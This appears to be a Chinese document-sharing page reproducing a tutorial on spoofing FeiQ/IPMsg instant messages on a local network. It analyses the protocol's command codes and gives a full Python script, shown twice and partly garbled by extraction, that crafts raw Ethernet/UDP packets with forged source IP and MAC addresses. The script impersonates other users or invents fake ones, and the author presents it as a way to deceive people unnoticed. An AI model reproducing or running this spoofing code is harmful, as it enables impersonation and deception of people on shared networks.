主题局域网内实现飞鸽欺骗Word下载.docx

上传人:b****5 文档编号:16171955 上传时间:2022-11-21 格式:DOCX 页数:16 大小:1.09MB
下载 相关 举报
主题局域网内实现飞鸽欺骗Word下载.docx_第1页
第1页 / 共16页
主题局域网内实现飞鸽欺骗Word下载.docx_第2页
第2页 / 共16页
主题局域网内实现飞鸽欺骗Word下载.docx_第3页
第3页 / 共16页
主题局域网内实现飞鸽欺骗Word下载.docx_第4页
第4页 / 共16页
主题局域网内实现飞鸽欺骗Word下载.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

主题局域网内实现飞鸽欺骗Word下载.docx

《主题局域网内实现飞鸽欺骗Word下载.docx》由会员分享,可在线阅读,更多相关《主题局域网内实现飞鸽欺骗Word下载.docx(16页珍藏版)》请在冰豆网上搜索。

主题局域网内实现飞鸽欺骗Word下载.docx

~~是飞鸽的协议字符串,

1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。

这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。

我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?

有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。

关于怎么使用,可以看之前我的帖子

通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。

现在的问题是:

怎么构建以太网数据包。

由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。

构建以太网数据包可以采用dpkt,非常方便。

现在,我们用wireshark来分析飞秋的协议。

打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:

飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。

然后对方也会把自己的信息发给你,你的飞秋中也就有了他。

我们把截获的代码拷出来,就是1_lbt4_10#32899#002481627512#0#0#0:

1289671407:

Administrator:

MICROSO-697TGLD:

6291457:

别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。

1_lbt4_10#32899#002481627512#0#0#0版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流

1289671407也就是包序号了。

Administrator是用户名

MICROSO-697TGLD是主机名

6291457是命令字表示上线。

还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。

由于我只想发送消息,所以只需要修改下命令字为288即可。

下面就是一个发送消息的命令字:

1_lbt4_10#32899#002481627512#0#0#0:

288:

一日不见,如三月兮

一日不见,如三月兮'

5.86 

86

细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。

呵呵。

因为我们发送的是飞秋命令字。

有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。

啥都不说了,上代码:

1.#coding=utf-8 

2.import 

dpkt 

3.import 

sendpkt 

4.from 

socket 

inet_aton 

5.from 

time 

strftime 

6.import 

7.import 

types 

8.import 

uuid 

9. 

10.#本地网关MAC地址,可以通过如下方式获取:

 

11.#C:

\Users\Administrator>

arp 

-a 

12.#接口:

192.168.0.100 

--- 

0xb 

13.# 

Internet 

地址 

物理地址 

类型 

14.# 

192.168.0.1 

00-03-47-ca-e4-5c 

动态 

15.MASK_MAC='

1c-af-f7-c0-65-a8'

16. 

17. 

18.def 

get_local_mac():

19. 

'

20. 

获得本机Mac地址 

21. 

22. 

mac=uuid.uuid1().hex[-12:

23. 

return 

-'

.join([mac[(i-1)*2:

2*i] 

for 

in 

range(1,7)]) 

24. 

25.def 

send_msg(kwargs):

26. 

27. 

发送消息,kwargs参数为一个dict对象 

28. 

29. 

if 

type(kwargs) 

is 

not 

types.DictType:

30. 

31. 

#本机ip地址 

32. 

local_ip=kwargs.get('

src'

socket.gethostbyname(socket.gethostname())) 

33. 

#转码后的源ip地址 

34. 

src_ip=inet_aton(local_ip) 

35. 

#转码后的目的ip地址 

36. 

dst_ip=inet_aton(kwargs.get('

dst'

)) 

37. 

#本机mac地址 

38. 

local_mac=kwargs.get('

src_mac'

get_local_mac()) 

39. 

#转码后的源mac地址 

40. 

src_mac=pack_mac(local_mac) 

41. 

#判断remote_ip和local_ip是否在同一个网段 

42. 

#转码后的目的mac地址 

43. 

dst_mac=pack_mac(kwargs.get('

dst_mac'

))\ 

44. 

trans(local_ip)==trans(kwargs.get('

)) 

else 

pack_mac(MASK_MAC) 

45. 

host=kwargs.get('

host'

socket.gethostname()) 

46. 

user=kwargs.get('

user'

'

User'

47. 

msg=kwargs.get('

msg'

Hello'

48. 

49. 

#找到第一个网络端口,根据自己的情况修改 

50. 

#安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下 

51. 

device=sendpkt.findalldevs()[0] 

52. 

#飞鸽监听本地的UDP 

2425端口 

53. 

udp=dpkt.udp.UDP(dport=2425,sport=2425) 

54. 

#向飞鸽发送消息命令字 

55. 

#6291458表示下线 

56. 

#6291457表示上线 

57. 

#288表示发送信息 

58. 

#如果是飞秋,65664这个状态会在对方上显示为两个太阳 

59. 

msg="

1_lbt4_10#65664#%s#0#0#0:

%s:

%s"

60. 

%(local_mac.replace('

),int(strftime('

%m%d%H%M%S'

))+100000000,user,host,msg) 

61. 

msg=msg.encode("

gbk"

62. 

udp.data+=msg 

63. 

udp.ulen=len(udp) 

64. 

65. 

ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP) 

66. 

#重新计算ip的长度,不然消息发送不出去 

67. 

ip.len=len(ip) 

68. 

69. 

ether=dpkt.ethernet.Ethernet( 

70. 

dst=dst_mac, 

71. 

src=src_mac, 

72. 

type=0x0800, 

73. 

data=ip 

74. 

75. 

sendpkt.sendpacket(str(ether),device) 

76. 

77.def 

trans(ip,mask='

255.255.255.0'

):

78. 

79. 

判断两个ip地址是否在同一个网段 

80. 

81. 

str=[] 

82. 

ip=ip.split("

."

83. 

mask=mask.split("

84. 

index,item 

enumerate(ip):

85. 

str.append(int(item)&

int(mask[index])) 

86. 

str 

87. 

88. 

89.def 

pack_mac(mac,pattern='

90. 

91. 

网卡地址转为以太网Mac地址 

92. 

例如将"

08-00-27-ba-f7-e5"

转为"

\x08\x00'

\xba\xf7\xe5"

93. 

94. 

mac=mac.split(pattern.lower()) 

95. 

"

.join([chr(int('

0x'

+x,16)) 

mac]) 

96. 

97.if 

__name__=="

__main__"

:

98. 

s={ 

99. 

192.168.0.106'

 

100. 

192.168.0.100'

101. 

00-15-AF-AE-E6-C0'

102. 

#这个地址最好别写错,可以从飞鸽上看到好友的Mac地址 

103. 

00-24-81-62-75-12'

104. 

哈哈'

105. 

呵呵'

106. 

加班呀?

107. 

108. 

send_msg(s) 

#coding=utf-8

importdpkt

importsendpkt

fromsocketimportinet_aton

fromtimeimportstrftime

importsocket

importtypes

importuuid

#本地网关MAC地址,可以通过如下方式获取:

#C:

arp-a

#接口:

192.168.0.100---0xb

#Internet地址物理地址类型

#192.168.0.100-03-47-ca-e4-5c动态

MASK_MAC='

defget_local_mac():

'

获得本机Mac地址

mac=uuid.uuid1().hex[-12:

]

return'

2*i]foriinrange(1,7)])

defsend_msg(kwargs):

发送消息,kwargs参数为一个dict对象

iftype(kwargs)isnottypes.DictType:

return

#本机ip地址

local_ip=kwargs.get('

socket.gethostbyname(socket.gethostname()))

#转码后的源ip地址

src_ip=inet_aton(local_ip)

#转码后的目的ip地址

dst_ip=inet_aton(kwargs.get('

))

#本机mac地址

local_mac=kwargs.get('

get_local_mac())

#转码后的源mac地址

src_mac=pack_mac(local_mac)

#判断remote_ip和local_ip是否在同一个网段

#转码后的目的mac地址

dst_mac=pack_mac(kwargs.get('

))\

iftrans(local_ip)==trans(kwargs.get('

))elsepack_mac(MASK_MAC)

host=kwargs.get('

socket.gethostname())

user=kwargs.get('

msg=kwargs.get('

#找到第一个网络端口,根据自己的情况修改

#安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下

device=sendpkt.findalldevs()[0]

#飞鸽监听本地的UDP2425端口

udp=dpkt.udp.UDP(dport=2425,sport=2425)

#向飞鸽发送消息命令字

#6291458表示下线

#6291457表示上线

#288表示发送信息

#如果是飞秋,65664这个状态会在对方上显示为两个太阳

msg="

\

%(local_mac.replace('

))+100000000,user,host,msg)

msg=msg.encode("

udp.data+=msg

udp.ulen=len(udp)

ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)

#重新计算ip的长度,不然消息发送不出去

ip.len=len(ip)

ether=dpkt.ethernet.Ethernet(

dst=dst_mac,

src=src_mac,

type=0x0800,

data=ip

sendpkt.sendpacket(str(ether),device)

deftrans(ip,mask='

判断两个ip地址是否在同一个网段

str=[]

ip=ip.split("

mask=mask.split("

forindex,iteminenumerate(ip):

str.append(int(item)&

int(mask[index]))

returnstr

defpack_mac(mac,pattern='

网卡地址转为以太网Mac地址

例如将"

mac=mac.split(pattern.lower())

return"

+x,16))forxinmac])

if__name__=="

s={

#这个地址最好别写错,可以从飞鸽上看到好友的Mac地址

}

send_msg(s)

代码我就不解释了,大家可以看里面的注释,写得比较明白。

我们来测试下,看看效果。

从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0

运行后,可以看到这样的结果:

貌似是可以欺骗成功了。

不过如果要欺骗其他网段的飞秋好友,一定要修过代码中的MASK_MAC字段,大家用wireshark分析飞秋的UPD数据包就知道了。

如果大家有兴趣,可以自己做个图形化的界面,比如web页面,可以图形化的进行欺骗。

那就有意思了,比如:

呵呵,就此告一段落。

如果大家都挺关注,我就把code都发上来吧。

最后,希望本人能抛砖引玉,让大家发挥出刚强的创造力。

祝各位周末愉快:

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 工程科技 > 冶金矿山地质

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1